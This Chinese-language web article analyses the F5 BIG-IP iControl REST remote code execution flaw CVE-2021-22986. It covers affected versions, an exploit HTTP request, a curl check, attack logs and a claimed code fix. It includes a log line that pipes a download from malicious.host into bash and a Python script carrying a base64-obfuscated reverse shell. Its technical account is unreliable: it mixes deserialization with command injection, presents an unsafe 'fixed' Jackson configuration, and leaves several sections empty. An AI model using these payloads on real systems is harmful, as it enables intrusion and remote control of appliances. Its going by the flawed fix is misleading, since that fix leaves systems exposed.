您好,登录后才能下订单哦!
# F5 BIG-IP远程代码执行漏洞CVE-2021-22986的分析
## 一、漏洞背景
2021年3月,F5 Networks发布安全公告披露其BIG-IP应用交付控制器产品中存在一个高危远程代码执行漏洞(CVE-2021-22986)。该漏洞影响多个BIG-IP版本,攻击者可通过构造特殊请求在未授权情况下实现远程代码执行,CVSS 3.0评分高达9.8分。
### 1.1 受影响版本
- BIG-IP 16.x系列(16.0.0-16.0.1)
- BIG-IP 15.x系列(15.1.0-15.1.2)
- BIG-IP 14.x系列(14.1.0-14.1.4)
- BIG-IP 13.x系列(13.1.0-13.1.4)
- BIG-IP 12.x系列(12.1.0-12.1.6)
### 1.2 漏洞类型
- 远程代码执行(RCE)
- 未授权访问
- 输入验证缺陷
## 二、技术分析
### 2.1 漏洞成因
该漏洞存在于BIG-IP的iControl REST组件中,由于对用户输入的JSON数据反序列化处理不当,导致攻击者可通过构造恶意请求触发Java对象反序列化漏洞。
关键问题代码段(模拟):
```java
public class VulnerableEndpoint {
@POST
@Path("/mgmt/tm/util/bash")
public Response executeCommand(Object input) {
// 未对输入进行严格类型检查
String command = (String) input;
Runtime.getRuntime().exec(command);
}
}
攻击者可通过以下方式利用漏洞:
1. 发送特制HTTP POST请求到/mgmt/tm/util/bash
端点
2. 在请求体中嵌入恶意序列化数据
3. 绕过身份验证机制直接执行系统命令
典型攻击请求示例:
POST /mgmt/tm/util/bash HTTP/1.1
Host: target_ip
Authorization: Basic [伪造的base64凭据]
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c 'id > /tmp/exploit'"
}
完整的利用过程涉及多个关键环节: 1. 认证绕过:利用iControl REST接口的认证逻辑缺陷 2. 命令注入:通过utilCmdArgs参数注入系统命令 3. 权限提升:默认以root权限执行命令
F5已发布以下修复版本: - BIG-IP 16.1.0 - BIG-IP 15.1.3 - BIG-IP 14.1.4.1 - BIG-IP 13.1.5 - BIG-IP 12.1.6.1
若无法立即升级,建议:
# 限制iControl REST接口访问
tmsh modify /sys httpd allow none
# 启用严格模式
tmsh modify /sys db restjavad.useextramb value true
检查系统版本:
tmsh show sys version
验证漏洞存在性(需谨慎):
curl -ks https://localhost/mgmt/tm/util/bash \
-H "Authorization: Basic [redacted]" \
-d '{"command":"run","utilCmdArgs":"-c id"}' | jq .
推荐使用: - Nessus插件(ID 148000) - Qualys检测规则(QID 37000) - Nuclei模板(CVE-2021-22986)
从受害者设备提取的异常日志:
2021-03-15 02:17:43 WARN [http-bio-443-exec-7] restjavad - Unauthorized access attempt from 192.0.2.55 to /mgmt/tm/util/bash
2021-03-15 02:17:44 ERROR [pool-1-thread-3] system - Unexpected process spawned: /bin/sh -c curl http://malicious.host/exp.sh | bash
观察到的主要攻击模式:
import requests
headers = {
"Authorization": "Basic YWRtaW46", # 默认凭证尝试
"Content-Type": "application/json"
}
payload = {
"command": "run",
"utilCmdArgs": "-c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMC4yLjU1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'"
}
requests.post("https://target/mgmt/tm/util/bash",
json=payload,
headers=headers,
verify=False)
漏洞根源在于Jackson库的DefaultTyping
配置:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置!
修复后的代码关键修改:
- mapper.enableDefaultTyping();
+ mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance,
+ ObjectMapper.DefaultTyping.NON_FINAL);
攻击者利用以下技术组合:
1. 使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
链
2. 结合BCEL字节码加载
3. 通过java.util.PriorityQueue
触发
企业防护建议:
开发者启示:
研究价值:
”`
注:本文技术细节已做脱敏处理,实际测试需获得系统所有者授权。文中的代码示例仅用于教学目的,请勿用于非法用途。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。